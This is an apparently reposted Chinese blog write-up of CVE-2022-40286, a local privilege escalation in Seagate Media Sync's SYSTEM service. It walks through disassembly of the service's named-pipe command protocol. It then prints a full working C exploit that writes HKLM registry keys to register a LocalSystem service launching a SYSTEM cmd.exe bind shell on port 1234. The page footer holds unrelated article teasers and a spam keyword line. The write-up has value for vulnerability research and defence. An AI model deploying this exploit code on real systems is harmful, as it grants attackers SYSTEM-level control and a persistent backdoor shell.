<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    利用Seagate service獲得system shell

    一顆小胡椒2022-12-02 15:32:47

    這是挖掘 CVE-2022-40286 漏洞的記錄。

    閑來無事,我上網隨便找了一個驅動來進行測試。我想找一個知名公司的產品,但是又不能是太偏太難懂的東西。

    我最先發現了一個叫"Seagate Media Sync"的軟件,這是一個將文件復制到希捷無線硬盤上的工具。之后我安裝并運行了該軟件,然后我發現它創建了一個名為"MediaAggreService.exe"的后臺SYSTEM服務。

    然后發現這個工具還有一個UI安裝程序。

    我們一般常見的查找權限提升的方式是對低權限的進程(UI)和高權限服務(或驅動)之間的內部通信進行攻擊開始的。要想使用這個方法,首先第一步我們要能夠監控的來自UI的合法通信。然而,由于我沒有與之配套的希捷硬盤,我們只能使用這個程序中非常少的功能。

    通過查看進程資源管理器發現,該服務還包含了一個處理MEDIA_AGGRE_PIPE.PIP管道消息的句柄。猜測這個管道可能是用于用戶界面(stxmediamanager.exe)和服務(MediaAggreService.exe)之間的通信。

    通過觀察用戶界面,似乎我們可以點擊的唯一按鈕就是 "刷新"按鈕。希望這能夠讓我們監控到一些服務通信。我們將調試器連接到用戶界面進程,并在CreateFile和WriteFile函數上設置斷點。

    如上所示,當我們點擊 "刷新 "按鈕時,UI進程使用CreateFile函數進行了一個命名管道連接。我們可以檢查之后調用的WriteFile函數來記錄消息數據的內容。以下是寫數據操作。

    根據以上內容,我們可以猜測,第一個消息是一個4字節長度的字段,表示消息體的大小。第二條信息則是真實的命令數據。在這個事件中,它正在發送一條消息體長度為8個字節的命令。最初的4字節長度值與第二個WriteFile調用的nNumberOfBytesToWrite參數一致,這正符合我們的預期。我們現在可以檢查該信息傳遞過程中的接收端。在MediaAggreService.exe中的ConnectNamedPipe函數上設置一個斷點,該斷點應該會在UI客戶端調用CreateFile函數時觸發。

    然后我們現在可以在ReadFile函數上設置一個斷點,這樣就可以看到從客戶端發送的數據。

    現在我們已經找到了該服務中讀取數據的代碼,然后我們可以跟蹤代碼的執行流程。由于目前我們只能訪問用戶界面中的 "刷新 "命令,因此我們很有必要再進行一些靜態分析,看看還有哪些命令可用。

    在花了一些時間分析代碼后,我可以看到每個命令都是以一個16位的簽名(0x4B5C)開始的。之后是一個16位的 主命令ID,然后是一個32位的次命令ID。

    001145BB | BA 5C4B0000             | mov edx,4B5C                                     | set expected command header signature: 0x4B5C
    001145C0 | 0FB708                  | movzx ecx,word ptr ds:[eax]                      | get actual command header signature value
    001145C3 | 66:3BCA                 | cmp cx,dx                                        | check 16-bit signature value
    001145C6 | 74 1A                   | je mediaaggreservice.1145E2                      | jump if signature matches
    001145C8 | 51                      | push ecx                                         |
    001145C9 | 68 D8391200             | push mediaaggreservice.1239D8                    | "[PIPE] Failure: Bad Signature 0x%X"
    001145CE | 68 F0841400             | push mediaaggreservice.1484F0                    |
    001145D3 | E8 D866FFFF             | call mediaaggreservice.10ACB0                    | add_log_entry
    001145D8 | 83C4 0C                 | add esp,C                                        |
    001145DB | 33C0                    | xor eax,eax                                      |
    001145DD | 5E                      | pop esi                                          |
    001145DE | 8BE5                    | mov esp,ebp                                      |
    001145E0 | 5D                      | pop ebp                                          |
    001145E1 | C3                      | ret                                              | error, return
    001145E2 | 57                      | push edi                                         |
    001145E3 | FF70 04                 | push dword ptr ds:[eax+4]                        | log minor command ID (32-bit)
    001145E6 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                    | log major command ID (16-bit)
    001145EA | 50                      | push eax                                         |
    001145EB | 68 203A1200             | push mediaaggreservice.123A20                    | "[PIPE] Command major/minor: [0x%X:0x%X]"
    001145F0 | 68 F0841400             | push mediaaggreservice.1484F0                    |
    001145F5 | E8 7667FFFF             | call mediaaggreservice.10AD70                    | add_log_entry
    001145FA | 8B86 D0F00100           | mov eax,dword ptr ds:[esi+1F0D0]                 |
    00114600 | C745 F8 00000000        | mov dword ptr ss:[ebp-8],0                       |
    00114607 | 0FB740 02               | movzx eax,word ptr ds:[eax+2]                    | get major command value (message_base + 0x2)
    0011460B | 83C4 10                 | add esp,10                                       |
    0011460E | 83F8 10                 | cmp eax,10                                       | check if the major command value is 0x10
    00114611 | 74 60                   | je mediaaggreservice.114673                      | jump to 0x10 command switch
    00114613 | 83F8 20                 | cmp eax,20                                       | check if the major command value is 0x20
    00114616 | 74 1A                   | je mediaaggreservice.114632                      | jump to 0x20 command switch
    00114618 | 68 C83A1200             | push mediaaggreservice.123AC8                    | "[PIPE] Failure: Unknown Major Command"
    0011461D | 68 F0841400             | push mediaaggreservice.1484F0                    |
    00114622 | E8 8966FFFF             | call mediaaggreservice.10ACB0                    | add_log_entry
    

    通過代碼我們也可以看到,該服務似乎只支持兩個主命令ID -- 0x10和0x20。發現這些線索后,我們現在可以解碼我們先前記錄的原始的 "刷新 "命令了。

    Header Length: 0x8
    0x0000 -> Signature (0x4B5C)
    0x0002 -> Major Command ID (0x10)
    0x0004 -> Minor Command ID (0x1)
    
    (no message body)
    

    在觀察分析了兩個主命令組的代碼后,我注意到0x10命令組包含了一個調用內部函數 MXOSRVSetRegKey 的條目,這個條目的次命令ID為0x400。

    001136E4 | 68 08300000             | push 3008                                                | total message length
    001136E9 | 8D47 08                 | lea eax,dword ptr ds:[edi+8]                             |
    001136EC | 50                      | push eax                                                 |
    001136ED | 8DB3 C0A90100           | lea esi,dword ptr ds:[ebx+1A9C0]                         |
    001136F3 | 56                      | push esi                                                 |
    001136F4 | E8 5F560000             | call                                        | copy command message body
    001136F9 | FFB3 C0D90100           | push dword ptr ds:[ebx+1D9C0]                            |
    001136FF | 8D83 C0C90100           | lea eax,dword ptr ds:[ebx+1C9C0]                         |
    00113705 | 50                      | push eax                                                 |
    00113706 | 8D83 C0B90100           | lea eax,dword ptr ds:[ebx+1B9C0]                         |
    0011370C | 50                      | push eax                                                 |
    0011370D | 56                      | push esi                                                 |
    0011370E | FF15 68D31100           | call dword ptr ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>]    | execute command
    

    顧名思義,MXOSRVSetRegKey 函數的作用似乎就是設置一個注冊表值,如果該鍵不存在,那么就創建該鍵。

    70F25590 | 55                      | push ebp                                                 |
    70F25591 | 8BEC                    | mov ebp,esp                                              |
    70F25593 | 83EC 08                 | sub esp,8                                                |
    70F25596 | 8D45 F8                 | lea eax,dword ptr ss:[ebp-8]                             |
    70F25599 | 50                      | push eax                                                 |
    70F2559A | 8D45 FC                 | lea eax,dword ptr ss:[ebp-4]                             |
    70F2559D | 50                      | push eax                                                 |
    70F2559E | 6A 00                   | push 0                                                   |
    70F255A0 | 68 3F000F00             | push F003F                                               |
    70F255A5 | 6A 00                   | push 0                                                   |
    70F255A7 | 68 6823F370             | push stxmediadevif.70F32368                              |
    70F255AC | 6A 00                   | push 0                                                   |
    70F255AE | FF75 08                 | push dword ptr ss:[ebp+8]                                |
    70F255B1 | C745 FC 00000000        | mov dword ptr ss:[ebp-4],0                               |
    70F255B8 | 68 02000080             | push 80000002                                            |
    70F255BD | FF15 1020F370           | call dword ptr ds:[<&RegCreateKeyExW>]                   |
    70F255C3 | 85C0                    | test eax,eax                                             |
    70F255C5 | 75 1E                   | jne stxmediadevif.70F255E5                               |
    70F255C7 | FF75 14                 | push dword ptr ss:[ebp+14]                               |
    70F255CA | FF75 10                 | push dword ptr ss:[ebp+10]                               |
    70F255CD | 6A 01                   | push 1                                                   |
    70F255CF | 50                      | push eax                                                 |
    70F255D0 | FF75 0C                 | push dword ptr ss:[ebp+C]                                |
    70F255D3 | FF75 FC                 | push dword ptr ss:[ebp-4]                                |
    70F255D6 | FF15 0420F370           | call dword ptr ds:[<&RegSetValueExW>]                    |
    70F255DC | FF75 FC                 | push dword ptr ss:[ebp-4]                                |
    70F255DF | FF15 0020F370           | call dword ptr ds:[<&RegCloseKey>]                       |
    70F255E5 | 33C0                    | xor eax,eax                                              |
    70F255E7 | 8BE5                    | mov esp,ebp                                              |
    70F255E9 | 5D                      | pop ebp                                                  |
    70F255EA | C3                      | ret                                                      |
    

    通過對這段代碼的分析表明,該命令很有可能會允許我們通過客戶端進程遠程創建或者修改注冊表字符串值。注冊表的根鍵被硬編碼為HKEY_LOCAL_MACHINE(在RegCreateKeyExW調用中推0x80000002)。在對這些函數進行逆向分析后,我們發現這個命令接收的消息數據格式如下所示。

    Header Length: 0x8
    0x0000 -> Signature (0x4B5C)
    0x0002 -> Major Command ID (0x10)
    0x0004 -> Minor Command ID (0x400)
    
    Message Length: 0x3008
    0x0000 -> Registry Key Path (wide-char)
    0x1000 -> Value Name (wide-char)
    0x2000 -> Value (wide-char)
    0x3000 -> Value Length (DWORD)
    0x3004 -> (Unused)
    

    由于類型字段被硬編碼為REG_SZ(在RegSetValueExW調用中push 1),所以上面的命令只支持字符串值 。

    我還發現了另一個命令ID(0x410),它允許我們以同樣的方式設置REG_DWORD值。這個命令接收的消息數據格式如下。

    Header Length: 0x8
    0x0000 -> Signature (0x4B5C)
    0x0002 -> Major Command ID (0x10)
    0x0004 -> Minor Command ID (0x410)
    
    Message Length: 0x3008
    0x0000 -> Registry Key Path (wide-char)
    0x1000 -> Value Name (wide-char)
    0x2000 -> (Unused)
    0x3000 -> (Unused)
    0x3004 -> Value (DWORD)
    

    從上面的命令數據布局可以看出,我們可以推斷出這兩個命令應該有一個相同的數據結構。我們可以用C結構來表示,如下。

    // reverse-engineered seagate command header
    struct SeagateCommandHeaderStruct
    {
        WORD wSignature;
        WORD wMajorCommandID;
        DWORD dwMinorCommandID;
    };
    
    // reverse-engineered seagate registry command data
    struct SeagateRegistryCommandDataStruct
    {
        wchar_t wszKeyPath[2048];
        wchar_t wszValueName[2048];
        wchar_t wszValueString[2048];
        DWORD dwValueStringLength;
        DWORD dwDwordValue;
    };
    

    假設我們的上述猜想都是正確的,這也就意味著,任何用戶都能夠通過向seagate服務管道發送命令,向HKEY_LOCAL_MACHINE內的任何鍵寫入任意的注冊表值。如果這可以實現,這也就意味著我們對于權限的提升就有了一個很明確的利用途徑。

    所以根據我們分析得到的結果,編寫一個自定義的管道客戶端來測試我們的猜想。

    DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength)
    {
        HANDLE hPipe = NULL;
        DWORD dwBytesWritten = 0;
        DWORD dwDataLength = 0;
        SeagateCommandHeaderStruct SeagateCommandHeader;
        BYTE *pDataBlock = NULL;
    
        // open seagate media sync pipe
        hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if(hPipe == INVALID_HANDLE_VALUE)
        {
            return 1;
        }
    
        // initialise command header
        memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader));
        SeagateCommandHeader.wSignature = 0x4B5C;
        SeagateCommandHeader.wMajorCommandID = wMajorCommandID;
        SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID;
    
        // calculate total data length
        dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength;
    
        // write data length to pipe
        if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0)
        {
            CloseHandle(hPipe);
            return 1;
        }
    
        // allocate buffer to combine the command header and data
        pDataBlock = (BYTE*)malloc(dwDataLength);
        if(pDataBlock == NULL)
        {
            return 1;
        }
    
        // copy the header and data into the data buffer
        memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader));
        memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength);
    
        // write the message to the pipe
        if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0)
        {
            free(pDataBlock);
            CloseHandle(hPipe);
            return 1;
        }
    
        // free buffer
        free(pDataBlock);
    
        // close pipe
        CloseHandle(hPipe);
    
        return 0;
    }
    
    DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue)
    {
        SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
    
        // initialise seagate registry command data (string)
        memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
        mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
        mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
        mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1);
        SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t);
    
        // send command
        if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
        {
            return 1;
        }
    
        return 0;
    }
    
    SetRegString("SOFTWARE\\Microsoft\\test", "test", "test_value");
    

    上面的代碼是連接到了MEDIA_AGGRE_PIPE.PIP管道,并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\test內創建一個注冊表值。然后我們將會以普通用戶的身份來執行這個程序。

    經過測試可以發現,這段代碼可以正常執行,并成功創建了目標注冊表值。對注冊表HKEY_LOCAL_MACHINE的操作也為攻擊提供了更多的可能性。在這種情況下,我們可以通過向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注冊表鍵添加條目來創建一個自定義服務。

    通常我們不會部署一個單獨的exe來作為SYSTEM服務的有效載荷,而是將這一功能放到可執行文件中。這個執行程序將會首先檢查它是否是以SYSTEM用戶的身份運行。如果不是,它將會執行默認的行為,并通過希捷服務管道創建一個新的服務,如上所述。否則,如果exe檢測到它是以SYSTEM服務的身份運行,它將會部署主要的有效載荷,這將會創建一個shell。

    總而言之,這個POC工具將執行以下步驟。

    1. 1. 使用CreateFile通過命名管道.\pipe\MEDIA_AGGRE_PIPE.PIP連接到希捷服務。
    2. 2. 使用GetModuleFileName獲取當前exe的文件路徑。
    3. 3. 通過向希捷服務的命名管道發送注冊表命令,創建一個新的Windows服務。在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中添加一個新條目,使用當前的exe作為進程路徑。
    4. 4. 重新啟動計算機。
    5. 5. Windows將在啟動時自動啟動我們新創建的服務。可執行程序將檢測到它是以SYSTEM身份運行的,并監聽1234端口的TCP連接。
    6. 6. 當用戶連接到localhost:1234時,漏洞服務將會以SYSTEM的身份啟動一個新的cmd.exe進程,stdin/stdout會被重定向到客戶端套接字。

    執行后

    重啟計算機

    鏈接到 localhost:1234

    最終,這個漏洞編號為 CVE-2022-40286。

    以下是完整的利用代碼。

    #include 
    #include 
    #include 
    
    #pragma comment(lib, "ws2_32.lib")
    
    // reverse-engineered seagate command header
    struct SeagateCommandHeaderStruct
    {
        WORD wSignature;
        WORD wMajorCommandID;
        DWORD dwMinorCommandID;
    };
    
    // reverse-engineered seagate registry command data
    struct SeagateRegistryCommandDataStruct
    {
        wchar_t wszKeyPath[2048];
        wchar_t wszValueName[2048];
        wchar_t wszValueString[2048];
        DWORD dwValueStringLength;
        DWORD dwDwordValue;
    };
    
    DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength)
    {
        HANDLE hPipe = NULL;
        DWORD dwBytesWritten = 0;
        DWORD dwDataLength = 0;
        SeagateCommandHeaderStruct SeagateCommandHeader;
        BYTE *pDataBlock = NULL;
    
        // open seagate media sync pipe
        hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if(hPipe == INVALID_HANDLE_VALUE)
        {
            return 1;
        }
    
        // initialise command header
        memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader));
        SeagateCommandHeader.wSignature = 0x4B5C;
        SeagateCommandHeader.wMajorCommandID = wMajorCommandID;
        SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID;
    
        // calculate total data length
        dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength;
    
        // write data length to pipe
        if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0)
        {
            CloseHandle(hPipe);
            return 1;
        }
    
        // allocate buffer to combine the command header and data
        pDataBlock = (BYTE*)malloc(dwDataLength);
        if(pDataBlock == NULL)
        {
            return 1;
        }
    
        // copy the header and data into the data buffer
        memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader));
        memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength);
    
        // write the message to the pipe
        if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0)
        {
            free(pDataBlock);
            CloseHandle(hPipe);
            return 1;
        }
    
        // free buffer
        free(pDataBlock);
    
        // close pipe
        CloseHandle(hPipe);
    
        return 0;
    }
    
    DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue)
    {
        SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
    
        // initialise seagate registry command data (string)
        memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
        mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
        mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
        mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1);
        SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t);
    
        // send command
        if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
        {
            return 1;
        }
    
        return 0;
    }
    
    DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue)
    {
        SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
    
        // initialise seagate registry command data (dword)
        memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData));
        mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
        mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
        SeagateRegistryCommandData.dwDwordValue = dwValue;
    
        // send command
        if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0)
        {
            return 1;
        }
    
        return 0;
    }
    
    DWORD StartBindShell(WORD wPort)
    {
        sockaddr_in SockAddr;
        PROCESS_INFORMATION ProcessInfo;
        STARTUPINFO StartupInfo;
        SOCKET ListenSocket = 0;
        SOCKET AcceptSocket = 0;
    
        // create listen socket
        ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
        if(ListenSocket == INVALID_SOCKET)
        {
            return 1;
        }
    
        // set socket addr info
        memset((void*)&SockAddr, 0, sizeof(SockAddr));
        SockAddr.sin_family = AF_INET;
        SockAddr.sin_port = htons(wPort);
        SockAddr.sin_addr.s_addr = htonl(INADDR_ANY);
    
        // bind socket
        if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
        {
            closesocket(ListenSocket);
            return 1;
        }
    
        // listen
        if(listen(ListenSocket, 1) == SOCKET_ERROR)
        {
            closesocket(ListenSocket);
            return 1;
        }
    
        // wait for clients
        for(;;)
        {
            // wait for connection
            AcceptSocket = accept(ListenSocket, NULL, NULL);
            if(AcceptSocket == INVALID_SOCKET)
            {
                closesocket(ListenSocket);
                return 1;
            }
    
            // set StartupInfo fields - redirect input/output to socket
            memset((void*)&StartupInfo, 0, sizeof(StartupInfo));
            StartupInfo.cb = sizeof(StartupInfo);
            StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
            StartupInfo.wShowWindow = SW_HIDE;
            StartupInfo.hStdInput = (HANDLE)AcceptSocket;
            StartupInfo.hStdOutput = (HANDLE)AcceptSocket;
            StartupInfo.hStdError = (HANDLE)AcceptSocket;
    
            // create cmd.exe process with inherited handles
            memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo));
            if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0)
            {
                closesocket(AcceptSocket);
                closesocket(ListenSocket);
                return 1;
            }
    
            // client socket has been passed to cmd.exe - close socket in local process
            closesocket(AcceptSocket);
        }
    
        // close listen socket
        closesocket(ListenSocket);
    
        return 0;
    }
    
    DWORD ConfirmSystemUser()
    {
        HANDLE hToken = NULL;
        BYTE bTokenUser[1024];
        DWORD dwLength = 0;
        SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority;
        TOKEN_USER *pTokenUser = NULL;
        void *pSystemSid = NULL;
    
        // open process token
        if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0)
        {
            return 1;
        }
    
        // get user SID
        pTokenUser = (TOKEN_USER*)bTokenUser;
        if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &dwLength) == 0)
        {
            CloseHandle(hToken);
            return 1;
        }
    
        // close token handle
        CloseHandle(hToken);
    
        // SECURITY_NT_AUTHORITY
        SidIdentifierAuthority.Value[0] = 0;
        SidIdentifierAuthority.Value[1] = 0;
        SidIdentifierAuthority.Value[2] = 0;
        SidIdentifierAuthority.Value[3] = 0;
        SidIdentifierAuthority.Value[4] = 0;
        SidIdentifierAuthority.Value[5] = 5;
    
        // get SYSTEM user SID
        if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0)
        {
            return 1;
        }
    
        // check if this is the SYSTEM user
        if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0)
        {
            FreeSid(pSystemSid);
            return 1;
        }
    
        // clean up
        FreeSid(pSystemSid);
    
        return 0;
    }
    
    DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath)
    {
        char szServiceKey[512];
        char szImagePath[512];
        char szWindowsDir[512];
    
        // get windows directory
        memset(szWindowsDir, 0, sizeof(szWindowsDir));
        GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1);
    
        // set service key
        memset(szServiceKey, 0, sizeof(szServiceKey));
        _snprintf(szServiceKey, sizeof(szServiceKey) - 1, "SYSTEM\\CurrentControlSet\\Services\\%s", pServiceName);
    
        // set image path
        // (cmd.exe will launch this process in the background - this is to prevent the service manager from killing our process for not responding to service status requests)
        memset(szImagePath, 0, sizeof(szImagePath));
        _snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\system32\\cmd.exe\" /c start \"\" \"%s\"", szWindowsDir, pExePath);
    
        // set registry value
        if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0)
        {
            return 1;
        }
    
        // set registry value
        if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0)
        {
            return 1;
        }
    
        // set registry value
        if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0)
        {
            return 1;
        }
    
        // set registry value
        if(SetRegDword(szServiceKey, "Start", 2) != 0)
        {
            return 1;
        }
    
        // set registry value
        if(SetRegDword(szServiceKey, "Type", 16) != 0)
        {
            return 1;
        }
    
        return 0;
    }
    
    int main()
    {
        WSADATA WinsockData;
        char szPath[512];
    
        // check if this process is running as SYSTEM user
        if(ConfirmSystemUser() == 0)
        {
            // initialise winsock
            if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0)
            {
                return 1;
            }
    
            // ready - start tcp bind shell on port 1234
            if(StartBindShell(1234) != 0)
            {
                return 1;
            }
        }
        else
        {
            printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege Escalation Exploit (CVE-2022-40286)");
            printf("x86matthew (www.x86matthew.com)");
    
            printf("Retrieving current exe path...");
    
            // get current exe path
            memset(szPath, 0, sizeof(szPath));
            if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
            {
                printf("Error: Failed to get current exe path");
    
                return 1;
            }
    
            printf("Creating service...");
    
            // create service
            if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0)
            {
                printf("Error: Failed to add service via Seagate Media Sync service");
    
                return 1;
            }
    
            printf("Service created successfully - reboot and connect to localhost:1234 for SYSTEM shell");
        }
    
        return 0;
    }
    
    sizeofchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在二進制里面,每一位只要大于等于?則都要向高位進一。為了方便表示,還衍生出了二進制的子類,比如八進制,十六進制等,主要是二進制向這些進制轉換較為容易,而計算機平時又都處理二進制數據,因此就出現了這些常見的進制計數。信息存儲大多數計算機使用的都是8位的塊,或者叫字節,字節是作為計算機可尋址的最小單位。一般來說我們并不習慣于將一個字節寫成八位二進制的數,而是會寫成兩位十六進制的數。
    HOOK技術實戰
    2021-10-19 05:55:56
    對于Windows系統,它是建立在事件驅動機制上的,說白了就是整個系統都是通過消息傳遞實現的。hook(鉤子)是一種特殊的消息處理機制,它可以監視系統或者進程中的各種事件消息,截獲發往目標窗口的消息并進行處理。所以說,我們可以在系統中自定義鉤子,用來監視系統中特定事件的發生,完成特定功能,如屏幕取詞,監視日志,截獲鍵盤、鼠標輸入等等。
    干貨 | HOOK技術實戰
    2021-10-16 10:09:27
    基礎知識對于Windows系統,它是建立在事件驅動機制上的,說白了就是整個系統都是通過消息傳遞實現的。鉤子可以分為線程鉤子和系統鉤子,線程鉤子可以監視指定線程的事件消息,系統鉤子監視系統中的所有線程的事件消息。當前鉤子處理結束后應把鉤子信息傳遞給下一個鉤子函數。PE頭是固定不變的,位于DOS頭部中e_ifanew字段指出位置。
    FartExt是我之前學習脫殼實踐時做的一個自動脫殼機,是基于FART的主動調用思想實現對特定的抽取殼進行優化處理的工具。由于原本的FART沒有配置相關的,所以我增加了配置對指定app脫殼。
    PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,這樣一個一個去把導出函數寫出。不要去直接include系統文件amsi,這樣他那個文件里本來就有相關函數,這樣會起沖突,直接把有些結構體粘過來就好了。
    在一些開啟了 Hyper-V 的電腦上,RouterOS 可能無法在 VMWare Workstation 中模擬運行或啟動非常緩慢,如果遇到無法運行的情況,請酌情考慮關閉 Hyper-V,如果能成功運行但是啟動緩慢,可以及時拍攝快照。
    ETW的攻與防
    2022-06-07 16:11:58
    前言ETW全稱為Event Tracing for Windows,即windows事件跟蹤,它是Windows提供的原生的事件跟蹤日志系統。ETW Provider會預先注冊到ETW框架上,提供者程序在某個時刻觸發事件,并將標準化定義的事件提供給ETW框架
    本文更多的是根據調試Windows Server 2003,分析漏洞成因。但是AD域并沒有對其進行強校驗。通過建立與域控同名卻不以\$結尾的機器賬戶,即DC,對域控進行欺騙。至此便得到了高權限ST。從上圖中可以很明確的看到域控的機器名為WINSRVSERVER$,之后會使用WINSRVSERVER作為機器賬戶名進行欺騙。攻擊準備工作相關準備工作不是本文重點,可以在noPac項目中學習。
    如何調包Win32API函數?其實就是HookPE文件自己的IAT表。
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类